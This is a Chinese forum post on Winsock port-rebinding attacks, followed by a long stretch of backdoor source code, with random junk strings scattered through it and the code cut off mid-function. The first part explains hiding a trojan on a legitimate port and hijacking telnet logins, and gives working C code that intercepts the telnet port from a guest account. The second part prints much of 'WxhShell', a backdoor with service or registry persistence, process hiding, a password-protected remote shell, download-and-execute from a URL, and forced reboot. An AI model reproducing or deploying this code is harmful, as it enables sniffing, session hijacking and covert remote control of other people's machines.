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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mt{nm[D!Xp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gMmaK0uhS  
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  saddr.sin_family = AF_INET; SCHP L.n  
- q1?? u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5h-SCB>P  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &\WSQmtto  
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  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uAJx.>$b  
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  这意味着什么?意味着可以进行如下的攻击: s}9S8@#  
)._;~z!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wj^3N7_:w  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y<|7z99L  
O7m(o:t x3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i {NzV  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5y [Oj^  
iDp)FQ$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D9=KXo^  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H9`)BbR  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x.!V^HQSN  
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  #include ]?kZni8j_  
  #include 2\MT;;ZTZ  
  #include 4K#>f4(U`g  
  #include    xQ-<WF1i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B$fPgW-  
  int main() $aDVG})  
  { WUe{vV#S'0  
  WORD wVersionRequested; kW Ml  
  DWORD ret; p Z|V 3  
  WSADATA wsaData; x_N'TjS^{  
  BOOL val; (l~AV9!m:  
  SOCKADDR_IN saddr; RUnSCOdX  
  SOCKADDR_IN scaddr; #uG%j  
  int err; Eex~xiiV  
  SOCKET s; x:NY\._  
  SOCKET sc; 0WW2i{7`U  
  int caddsize; UT~4x|b:O  
  HANDLE mt; [I,Z2G,Jb  
  DWORD tid;   ~S"+S/z/k  
  wVersionRequested = MAKEWORD( 2, 2 ); A Ru2W1g  
  err = WSAStartup( wVersionRequested, &wsaData ); 2 /\r)$ 2i  
  if ( err != 0 ) { ArI2wM/v  
  printf("error!WSAStartup failed!\n"); ~F|+o}a `  
  return -1; y1eW pPJa  
  } 3</_c1~  
  saddr.sin_family = AF_INET; [2!w_Iw'  
   ) <[XtK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *eTqVG.  
jjRi*^d9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ha0M)0Anv  
  saddr.sin_port = htons(23); p J! mw\:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /!yU !`bY  
  { ,GbR!j@6  
  printf("error!socket failed!\n"); UJAv`yjG  
  return -1; 1y@i}<9F  
  } ]b:Lo  
  val = TRUE; abmYA#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %A9NB!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]3],r?-tJ  
  { wtQ++l%{G  
  printf("error!setsockopt failed!\n"); \R9(x]nZ%  
  return -1; z1 | TC  
  } v!-/&}W)1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 36&e.3/#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F4-$~ v@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K*vt;L  
In"ZIKaC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @su^0 9n  
  { |/|5UiX7  
  ret=GetLastError(); b5dD/-Vj  
  printf("error!bind failed!\n"); E1aHKjLQ  
  return -1; O_ muD\  
  } njB;&N)I  
  listen(s,2); oQ/E}Zk@  
  while(1) ]KKS"0a  
  {  c(f  
  caddsize = sizeof(scaddr); T?CdZc.  
  //接受连接请求 ~OYiq}g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x*\Y)9Vgy  
  if(sc!=INVALID_SOCKET) { =9,n\85#  
  { av8B-GQI*#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hh3X \  
  if(mt==NULL) iJI }TVep#  
  { #1A.?p  
  printf("Thread Creat Failed!\n"); \j}ZB<.>  
  break; K^)Eb(4  
  } '5#^i:  
  } h ohfE3rd  
  CloseHandle(mt); 7FP*oN?  
  } $D~0~gn~  
  closesocket(s); 2. NN8PPD"  
  WSACleanup(); ONB{_X?  
  return 0; @ p9i  
  }   )Yh+c=6 ?  
  DWORD WINAPI ClientThread(LPVOID lpParam) 38Mv25N  
  { x}wG:K  
  SOCKET ss = (SOCKET)lpParam; @muRxi  
  SOCKET sc; ehGLk7@7&  
  unsigned char buf[4096]; HYD'.uj  
  SOCKADDR_IN saddr; B-Ll{k^  
  long num; s0TORl6Z|  
  DWORD val; :%_LpZ  
  DWORD ret; g{]0sn#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8rAg \H3E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,\W 8b-Z  
  saddr.sin_family = AF_INET; -lr vKrt7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [r\Du|R-*  
  saddr.sin_port = htons(23); A_"w^E{P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &)# ihK_  
  { niMsQ  
  printf("error!socket failed!\n"); /e5O"@  
  return -1; :[.vM  
  } IEL%!RFG  
  val = 100; 6fE7W>la  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [t m_Mg  
  { .Bl\Z  
  ret = GetLastError(); XFVE>/H  
  return -1; K C*e/J  
  } y;m|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1W c=5!  
  { nK1Slg#U  
  ret = GetLastError(); >mbHy<<  
  return -1; 9d0@wq.  
  } 1sy[ @Q2b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G{As,`{  
  { ih-#5M@  
  printf("error!socket connect failed!\n"); gMi0FO'  
  closesocket(sc); //up5R_nx  
  closesocket(ss); kYE9M8s;  
  return -1; >4x(e\B  
  } { T/[cu<  
  while(1) T= 80,  
  { kUb>^- -K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nmee 'oEw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |"q5sym8Y_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W<h)HhyG  
  num = recv(ss,buf,4096,0); k&M;,e3v6  
  if(num>0) ]6k\)#%2  
  send(sc,buf,num,0); f=+mIZ  
  else if(num==0) JMCKcZ%N  
  break; ydEoC$?0  
  num = recv(sc,buf,4096,0); .r=4pQ@#  
  if(num>0) ?> 9/#Nv  
  send(ss,buf,num,0); rET\n(AJ  
  else if(num==0) x;O[c3I  
  break; q^@Q"J =v  
  } 7(1|xYCx$  
  closesocket(ss); lf`{zc r:  
  closesocket(sc); (q/e1L-S  
  return 0 ; do hA0  
  } #H&|*lr  
xJpA0_xfG  
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========================================================== 7uqzm  
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下边附上一个代码,,WXhSHELL ZuzEg*lb  
Y sC>i`n9  
========================================================== ,C\i^>=  
Gq)]s'r2  
#include "stdafx.h" DaQ?\uq  
.fqN|[>  
#include <stdio.h> c1(RuP:S  
#include <string.h> .|KyNBn  
#include <windows.h> BiLY(1,  
#include <winsock2.h> G{~J|{t\yz  
#include <winsvc.h> (Bb5?fw  
#include <urlmon.h> EmWn%eMN  
6D;Sgc5"  
#pragma comment (lib, "Ws2_32.lib") G6Axs1a  
#pragma comment (lib, "urlmon.lib") fivw~z|[@  
zy?|ODM  
#define MAX_USER   100 // 最大客户端连接数 3@_xBz,I.  
#define BUF_SOCK   200 // sock buffer 0(}t8lc  
#define KEY_BUFF   255 // 输入 buffer *uRBzO}  
PA{PD.4Du  
#define REBOOT     0   // 重启 dw>C@c#"  
#define SHUTDOWN   1   // 关机 _ gR;=~S  
D(op)]8  
#define DEF_PORT   5000 // 监听端口 c% -Tem'#  
caR<Kb:;*  
#define REG_LEN     16   // 注册表键长度 ,$L4dF3  
#define SVC_LEN     80   // NT服务名长度 IxN9&xa  
='r!g  
// 从dll定义API *\a4wZ6<3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ah$b [\#C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); un"Gozmt5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); & bm 1Fz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bTNgjc  
(62"8iD6  
// wxhshell配置信息 w>&aEv/f  
struct WSCFG { !<8W {LT  
  int ws_port;         // 监听端口 ' ,wFTV&  
  char ws_passstr[REG_LEN]; // 口令 yNJ B oar  
  int ws_autoins;       // 安装标记, 1=yes 0=no gnf8 l?M  
  char ws_regname[REG_LEN]; // 注册表键名 [ZwjOi:)  
  char ws_svcname[REG_LEN]; // 服务名 lN 4oW3QT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fCn^=8KOZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r| wS<cA2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ha<[b ue  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #powub  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e;q!6%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J7$5s  
@Sn(lnlB  
}; mfn,Gjt3O  
Lz Kj=5'Y  
// default Wxhshell configuration ?#G$=4;i  
struct WSCFG wscfg={DEF_PORT, uk:(pZ-uJ  
    "xuhuanlingzhe", 2DDtu[}  
    1, 'W^YM@  
    "Wxhshell", cxC6n%!;y  
    "Wxhshell",  @tnz]^V  
            "WxhShell Service", vzAaxk%  
    "Wrsky Windows CmdShell Service", epe)a  
    "Please Input Your Password: ", CI0C1/:@  
  1, |kg7LP3(8,  
  "http://www.wrsky.com/wxhshell.exe", Y;M|D'y+  
  "Wxhshell.exe" SYJD?&C;  
    }; ?pmHFlx  
[ -K&R  
// 消息定义模块 ^ig' bw+WS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h 0Q5-EA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9d659i C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^98~U\ar  
char *msg_ws_ext="\n\rExit."; UYJZYP%r  
char *msg_ws_end="\n\rQuit."; 13=AW  
char *msg_ws_boot="\n\rReboot..."; kd(8I_i@  
char *msg_ws_poff="\n\rShutdown..."; O"9\5(w  
char *msg_ws_down="\n\rSave to "; oxA<VWUNT  
zT]8KA   
char *msg_ws_err="\n\rErr!"; Af2( 5]  
char *msg_ws_ok="\n\rOK!"; e{K 215  
-zgI_u9=EB  
char ExeFile[MAX_PATH]; 7t0=[i  
int nUser = 0; nPl?K:(  
HANDLE handles[MAX_USER]; 8C:z"@o  
int OsIsNt; I-*S&SiXjI  
B hGu!Y6f  
SERVICE_STATUS       serviceStatus; 5r|,CQ7o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OX!tsARC@  
n5NsmVW\x  
// 函数声明 hd<c&7|G'  
int Install(void); -<!NXm|kvz  
int Uninstall(void); }B+C~@j  
int DownloadFile(char *sURL, SOCKET wsh); j{A y\n(  
int Boot(int flag); $k%2J9O  
void HideProc(void); DV-d(@`K  
int GetOsVer(void); %s|Ely)  
int Wxhshell(SOCKET wsl); X`>i& I]  
void TalkWithClient(void *cs); E6ElNgL  
int CmdShell(SOCKET sock); cp7=epho  
int StartFromService(void); t\,PB{P:J  
int StartWxhshell(LPSTR lpCmdLine); m}t`FsB.  
WX?IYQ+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k$R-#f;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KwSqKI7]0  
HCs?iJ  
// 数据结构和表定义 ?P`K7  
SERVICE_TABLE_ENTRY DispatchTable[] = a~}OZ&PG  
{ 1};Stai'  
{wscfg.ws_svcname, NTServiceMain}, 0R'?~`aTt  
{NULL, NULL} !)0;&e5  
}; d.d/<  
Id .nu/  
// 自我安装 6ojo :-%Vf  
int Install(void) ?M9=yA  
{ ChPmX+.i_  
  char svExeFile[MAX_PATH]; vMH  
  HKEY key; :q% M_  
  strcpy(svExeFile,ExeFile); #rfiD%c  
kfY}S  
// 如果是win9x系统,修改注册表设为自启动 3$>1FoSk  
if(!OsIsNt) { Hk.TM2{w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;))+>%SGCt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c9u`!'g`i  
  RegCloseKey(key); | rtD.,m   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yu^4VXp~M%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~Otoqu|  
  RegCloseKey(key); m nX2a  
  return 0; :KP @RZm  
    } giw &&l=_  
  } hRCJv#]HC  
} k(G^z   
else { "_NN3lD)X  
_9Te!gJ4_#  
// 如果是NT以上系统,安装为系统服务 ,i`,Oy(BI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xr Jg\to{i  
if (schSCManager!=0) A[{yCn`tM  
{ CxW>~O:  
  SC_HANDLE schService = CreateService ^%{7}g&$u  
  ( 8^1 Te m  
  schSCManager, e2oa($9  
  wscfg.ws_svcname, eJX9_6m-  
  wscfg.ws_svcdisp, fxHH;hRfv  
  SERVICE_ALL_ACCESS, 0 ZKx<]!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $Sip$\+*  
  SERVICE_AUTO_START, Vv=. -&'  
  SERVICE_ERROR_NORMAL, i3mcx)d@H  
  svExeFile,  SRDp*  
  NULL, p%=u#QNi  
  NULL, )}Kf=  
  NULL, Js?]$V"  
  NULL, yq\K)g*=  
  NULL Y)2,PES=  
  ); p]+Pkxz]'  
  if (schService!=0) >@_^fw)  
  { pO3SUOP  
  CloseServiceHandle(schService); 6 V=9M:  
  CloseServiceHandle(schSCManager); rw JIx|(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SZ'R59Ee<  
  strcat(svExeFile,wscfg.ws_svcname); flbd0NB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .[OUI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MKi0jwJM  
  RegCloseKey(key); 2uW; xfeY  
  return 0; iz PDd{[  
    } z$. 88 ^  
  } Y\8)OBZ  
  CloseServiceHandle(schSCManager); O m2d .7S  
} ?NsW|w_  
} =X:Y,?  
kxhWq:[c  
return 1; 0~/_|?]`7  
} 7[XRd9a5(  
+\ .Lp 5  
// 自我卸载 Qe:seW  
int Uninstall(void) CkQ3#L<2  
{ GGs}i1m  
  HKEY key; \Uq(Zga4)  
I1M%J@Cz  
if(!OsIsNt) { Qpc__dA\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7;wd(8  
  RegDeleteValue(key,wscfg.ws_regname); t-bB>q#3>  
  RegCloseKey(key); 7~.9=I'A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]&+s6{}  
  RegDeleteValue(key,wscfg.ws_regname); .}~_a76  
  RegCloseKey(key); uz jU2  
  return 0; @`- 4G2IU}  
  } JP [K;/  
} y}ev ,j  
} c4eBt))}V  
else { T+H!_ky`A  
JU&c.p /  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `Eo.v#<  
if (schSCManager!=0) i$ 6ypuc  
{ Pw"-S?`(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,R* ]>'  
  if (schService!=0) p6!x=cW  
  { sS'm!7*(3  
  if(DeleteService(schService)!=0) { T}v4*O.,  
  CloseServiceHandle(schService); <}9lZEqY  
  CloseServiceHandle(schSCManager); =W!/Z%^*8  
  return 0; Z o(rTCZX  
  } z5*'{t)  
  CloseServiceHandle(schService); k=T\\]KxC  
  } ?J >  
  CloseServiceHandle(schSCManager); mtcw#D  
} T!)(Dv8@F  
} _g"<UV*H  
i2SR{e8:GF  
return 1; 5MJS ~(  
} #BH*Z(  
`1IgzKL9  
// 从指定url下载文件 {8bSB.?R  
int DownloadFile(char *sURL, SOCKET wsh) ^>v+( z5R  
{ f\L0 xJ  
  HRESULT hr; 2.%ITB  
char seps[]= "/"; &7tbI5na@  
char *token; \bvfEP  
char *file; &E5g3lf  
char myURL[MAX_PATH]; t&e{_|i#+  
char myFILE[MAX_PATH]; }a(dyr`S  
0*{%=M  
strcpy(myURL,sURL); )|# sfHv7  
  token=strtok(myURL,seps); b,1ePS  
  while(token!=NULL) s&3Vg7B  
  { 5M*:}*  
    file=token; Wt~BU.  
  token=strtok(NULL,seps); \ta?b!Y),?  
  } JYHl,HH#z  
SSMHoJGm  
GetCurrentDirectory(MAX_PATH,myFILE); J)p l|I  
strcat(myFILE, "\\"); q9s=~d7  
strcat(myFILE, file); Jij*x>K>y  
  send(wsh,myFILE,strlen(myFILE),0); T</F 0su|  
send(wsh,"...",3,0); +A?U{q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <=C!VVk4f  
  if(hr==S_OK) C,|,-CY  
return 0; %| Lfuz*  
else ^SrJu:Q_  
return 1; OYn}5RN  
{kR#p %E]  
} > /caXvS  
)bscBj@  
// 系统电源模块 3AN/ H  
int Boot(int flag) XUuN )i  
{ smo~7;  
  HANDLE hToken; B \2 SH%\  
  TOKEN_PRIVILEGES tkp; onxLyx|A  
toC^LZgZ_6  
  if(OsIsNt) { L) T (<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .3Oap*X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a<bwzX|.  
    tkp.PrivilegeCount = 1; T1=fNF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z4 =GMXj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JY(WK@  
if(flag==REBOOT) { 1#+S+g@#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wg]Qlw`\|  
  return 0; H$UcF1k<  
} z!9-:  
else { E+;7>ja  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) </*6wpN  
  return 0; >tW#/\x{  
} sLxc(d'A  
  } &0JI!bR(  
  else { n /m G|)Xt  
if(flag==REBOOT) { Lt>IX")  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O6^]=/wd  
  return 0; @b2aNS<T  
} |Z +=  
else { =Jb>x#Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %n9aaoD  
  return 0; vUM4S26"NT  
} P+/e2Y  
} tK\~A,=  
Ta\tYZj$  
return 1; z-)O9PV  
} Lw>N rY(Y  
BnasI;yWb  
// win9x进程隐藏模块 wz%Nb Ly-  
void HideProc(void) B^^#D0<  
{ }-=|^  
Uz]|N6`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YNi.SXH  
  if ( hKernel != NULL ) 5$C-9  
  { 11;MN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #AQV(;r7@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -nV9:opD  
    FreeLibrary(hKernel); h~zT ydnH  
  } o?\?@H  
r_A$DaC]  
return; (SAs-  
} d7bS wL  
0LJv'  
// 获取操作系统版本 FU4L6n  
int GetOsVer(void) '^UI,"Ti  
{ )l DD\J7  
  OSVERSIONINFO winfo; IjnU?Bf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'TB2:W3  
  GetVersionEx(&winfo); _X x/(.O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wk_@R=*(\  
  return 1; L ~N460  
  else ?%[jR=w  
  return 0; ?4T-@~~*`=  
} ysY*k`5  
/N.U/MPL_  
// 客户端句柄模块 5`p.#  
int Wxhshell(SOCKET wsl) uoh7Sz5!^  
{ ]:J$w]\  
  SOCKET wsh; 4^o^F-k'  
  struct sockaddr_in client; nAlQ7 '  
  DWORD myID; + mT_QsLEv  
|+D!= :x  
  while(nUser<MAX_USER) KoT%Mfu  
{ 9_/:[N6|c|  
  int nSize=sizeof(client); FGq [ \B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SXP]%{@ R/  
  if(wsh==INVALID_SOCKET) return 1; pOoEI+t  
DZtsy!xA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S{T >}'y  
if(handles[nUser]==0) ~*];pV]A[  
  closesocket(wsh); KHvYUTY  
else ,Ma^&ypH  
  nUser++; j^RmrOg ,  
  } NC6&x=!3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g *+>H1}  
 N4TV  
  return 0; (X*^dO  
} M kXmA`cP  
Y(Hs#Kn{  
// 关闭 socket 'PW5ux@`<  
void CloseIt(SOCKET wsh) 1EX;MW-p<T  
{ !0<,@v"  
closesocket(wsh); 44j*KsBf  
nUser--; SiN0OB  
ExitThread(0); ]u/sphPe  
} h^P#{W!e\  
) Hr`M B  
// 客户端请求句柄 YKK*ER0  
void TalkWithClient(void *cs) -X6PRE5a2  
{ /&J T~M  
6[AL|d DK  
  SOCKET wsh=(SOCKET)cs; KLk~Y0$:v  
  char pwd[SVC_LEN]; q{x8_E!L  
  char cmd[KEY_BUFF]; jT;;/Fd3/  
char chr[1]; n|yO9:Uw<  
int i,j; QIFgQ0{  
.O<obq~;C  
  while (nUser < MAX_USER) { -jm Y)(\  
zX i 'kB  
if(wscfg.ws_passstr) { A?OQE9'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &_8 947  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }"%N4(Kd  
  //ZeroMemory(pwd,KEY_BUFF); M&M 6;Ph  
      i=0; _ jlRlt  
  while(i<SVC_LEN) { P@~yx#G  
7tCw*t$  
  // 设置超时 gbD KE{  
  fd_set FdRead; lr&a;aZp  
  struct timeval TimeOut; V>rU.Mp QU  
  FD_ZERO(&FdRead); AFt s(  
  FD_SET(wsh,&FdRead); %E;'ln4h&,  
  TimeOut.tv_sec=8; Qn2&nD%zi  
  TimeOut.tv_usec=0; "Z+k=~(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <9b &<K:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1X1dG#:  
NvX[zqNP_R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A^SgI-y|  
  pwd=chr[0]; <IW$m!{VG  
  if(chr[0]==0xd || chr[0]==0xa) { @IZnFHN  
  pwd=0; ?+8\.a!  
  break; 3=V &K-  
  } >^{yF~(  
  i++; j_j]"ew)  
    } j B{8u&kz)  
>=w)x,0yX  
  // 如果是非法用户,关闭 socket 9+!hg'9Qn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :[d9tm  
} b| (: [nB  
|JsZJ9W+J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y}KNKO;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `kSZX:=};  
)=(kBWM  
while(1) { M869MDo  
*qpSXmOz  
  ZeroMemory(cmd,KEY_BUFF); M)(DZ}  
oxtay7fx  
      // 自动支持客户端 telnet标准   F((4U"   
  j=0; 0<*<$U  
  while(j<KEY_BUFF) { Vi|#@tC'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Y1Ck5  
  cmd[j]=chr[0]; tpx2 IE  
  if(chr[0]==0xa || chr[0]==0xd) { HjwE+:w  
  cmd[j]=0; uHNCSz H(  
  break; #[[ en  
  } tO&^>&;5  
  j++; N6TH}~62}  
    } /g.U&oI]D  
ksm~<;td  
  // 下载文件 ,`sv1xwd  
  if(strstr(cmd,"http://")) { I( Mm?9F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $<OD31T  
  if(DownloadFile(cmd,wsh)) tQ601H>o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !H\F2Vxs  
  else ~F#j#n(=`q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1xx}~|F?|  
  } 1B\WA8  
  else { 0tJ Z4(0  
tT._VK]o&R  
    switch(cmd[0]) { Ew$C ;&9  
  NX&_p!_V  
  // 帮助 dQG=G%W  
  case '?': { 2 ? 4!K.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \}G^\p6?M  
    break; .A|@?p[  
  } _(zG?]y0P  
  // 安装 GKeU%x  
  case 'i': { 4 H&#q>  
    if(Install()) DW3G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); og>uj>H&  
    else f,Ghb~y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !TcJ)0   
    break; &,)&%Sg[  
    } A/?7w   
  // 卸载 c4zR*  
  case 'r': { 3r1*m  +  
    if(Uninstall()) ,tRj4mx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fd9k?,zM  
    else L \iFNT}g`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VG~Vs@c(  
    break; KG{St{uJ  
    } @KUWxFak  
  // 显示 wxhshell 所在路径 =WJ NWt>  
  case 'p': { `QY)!$mUIF  
    char svExeFile[MAX_PATH]; ;GD]dW#  
    strcpy(svExeFile,"\n\r"); 8JUwf  
      strcat(svExeFile,ExeFile); 4`=m u}Y2  
        send(wsh,svExeFile,strlen(svExeFile),0); |+"(L#wk  
    break; t3^&; &[  
    } U`s{Jm  
  // 重启 3=;<$+I6  
  case 'b': { R/a*LSe@&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (4-CF3D  
    if(Boot(REBOOT)) CTA 3*Gn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( uidNq  
    else { h FBe,'3M  
    closesocket(wsh); ] }X  
    ExitThread(0); Vf1^4 t  
    } Q=dy<kg']  
    break; _Bj":rzY  
    } ijU*|8n{>  
  // 关机 \lNN Msd&  
  case 'd': { |e0`nn=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3T0"" !Q  
    if(Boot(SHUTDOWN)) j_ 7mNIr  
